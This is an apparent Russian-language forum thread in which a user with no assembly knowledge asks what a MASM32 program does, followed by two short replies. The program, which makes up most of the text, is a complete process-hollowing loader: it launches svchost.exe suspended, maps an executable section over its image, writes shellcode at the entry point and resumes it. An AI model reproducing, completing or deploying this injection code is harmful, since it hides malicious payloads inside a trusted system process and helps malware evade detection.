Доброго времени суток! Помогите разобраться в нижеприведенном коде на masm32. Меня интересует, что именно он делает. Пожалуйста! Очень СРОЧНО нужно!!! Я ассемблер ну совсем не знаю. Спасибо! Код (Text): comment ' ======================================= shellcode_start - pointer to sc start. shell_size - sc size. ======================================= ' .686 .model flat, stdcall option casemap: none assume fs: nothing include \masm32\include\ntdll.inc includelib \masm32\lib\ntdll.lib include \masm32\include\kernel32.inc includelib \masm32\lib\kernel32.lib include \masm32\macros\macros.asm ;---------------------------------- ; Allocate mem. ;---------------------------------- aloc macro pMemory,leng pusha mov pMemory,FUNC(LocalAlloc,LMEM_FIXED + LMEM_ZEROINIT,leng) popa endm ;---------------------------------- ; Deallocate mem. ;---------------------------------- dealloc macro pMemory pusha fn LocalFree,[pMemory] popa endm PROCESS_BASIC_INFORMATION STRUCT ExitStatus DWORD ? PebBaseAddress PVOID ? AffinityMask DWORD ? BasePriority DWORD ? UniqueProcessId DWORD ? InheritedFromUniqueProcessId DWORD ? PROCESS_BASIC_INFORMATION ENDS .const memsize equ 5000h .data sinfo STARTUPINFO <> pinfo PROCESS_INFORMATION <> pbi PROCESS_BASIC_INFORMATION <> MaximumSize dd 8EF6H, 0h ViewSize dd 6000h .data? SecHandle dd ? BaseAddress dd ? nb_read dd ? ImageBase db 50 dup (?) read_proc dd ? .code start: fn CreateProcess,0,"svchost.exe",0,0,0,CREATE_SUSPENDED,0,0,addr sinfo,addr pinfo or eax, eax jz @exit fn ZwQueryInformationProcess,dword ptr[pinfo],0,addr pbi,sizeof pbi,0 fn ZwReadVirtualMemory,dword ptr[pinfo],pbi.PebBaseAddress,addr ImageBase,\ sizeof ImageBase,addr nb_read m2m dword ptr [ImageBase], dword ptr [ImageBase+8h] aloc read_proc, memsize fn ZwReadVirtualMemory,dword ptr[pinfo],dword ptr[ImageBase],[read_proc],\ memsize,addr nb_read mov esi,read_proc add esi,[esi+03Ch] assume esi: ptr IMAGE_NT_HEADERS fn ZwCreateSection,addr SecHandle,SECTION_ALL_ACCESS,0,addr MaximumSize,\ PAGE_EXECUTE_READWRITE,SEC_COMMIT,0 or eax, eax jnz @exit fn ZwMapViewOfSection,dword ptr[SecHandle],-1,addr BaseAddress,0,0,0,addr ViewSize,\ 1,0,PAGE_EXECUTE_READWRITE or eax, eax jnz @exit push esi mov esi,[read_proc] mov edi,[BaseAddress] mov ecx,memsize rep movsb pop esi mov eax, dword ptr [esi].OptionalHeader.AddressOfEntryPoint assume esi: nothing lea esi,shellcode_start mov edi,[BaseAddress] add edi,eax mov ecx,shell_size rep movsb fn ZwUnmapViewOfSection,dword ptr[pinfo],dword ptr[ImageBase] fn ZwMapViewOfSection,dword ptr[SecHandle],dword ptr[pinfo],addr ImageBase,0,0,0,\ addr ViewSize,1,0,PAGE_EXECUTE_READWRITE fn ZwResumeThread,dword ptr[pinfo+4h],0 dealloc read_proc @exit: fn ExitProcess, 0 end start
Так написано: Это и есть шеллкод Sidorma Да все ясно. Ищем процесс svchost и внедряемся в него. Вы видимо из категории : знаю что такое шеллкод и хочу, но в ассемблере ни буб-бум. Бросьте вы это дело. Без знания ассемблера и ОС вы ничего не сделаете. Даже не повторите то, что в Интернете описано.
valterg Для впрыскивания шелла не нужно процесс искать, действия выполняются через интерфейс(лпк там всякие етц). Вот только будет очень сложно найти переполнение там, если оно вообще существует.. Вы видимо попутали с инжектом %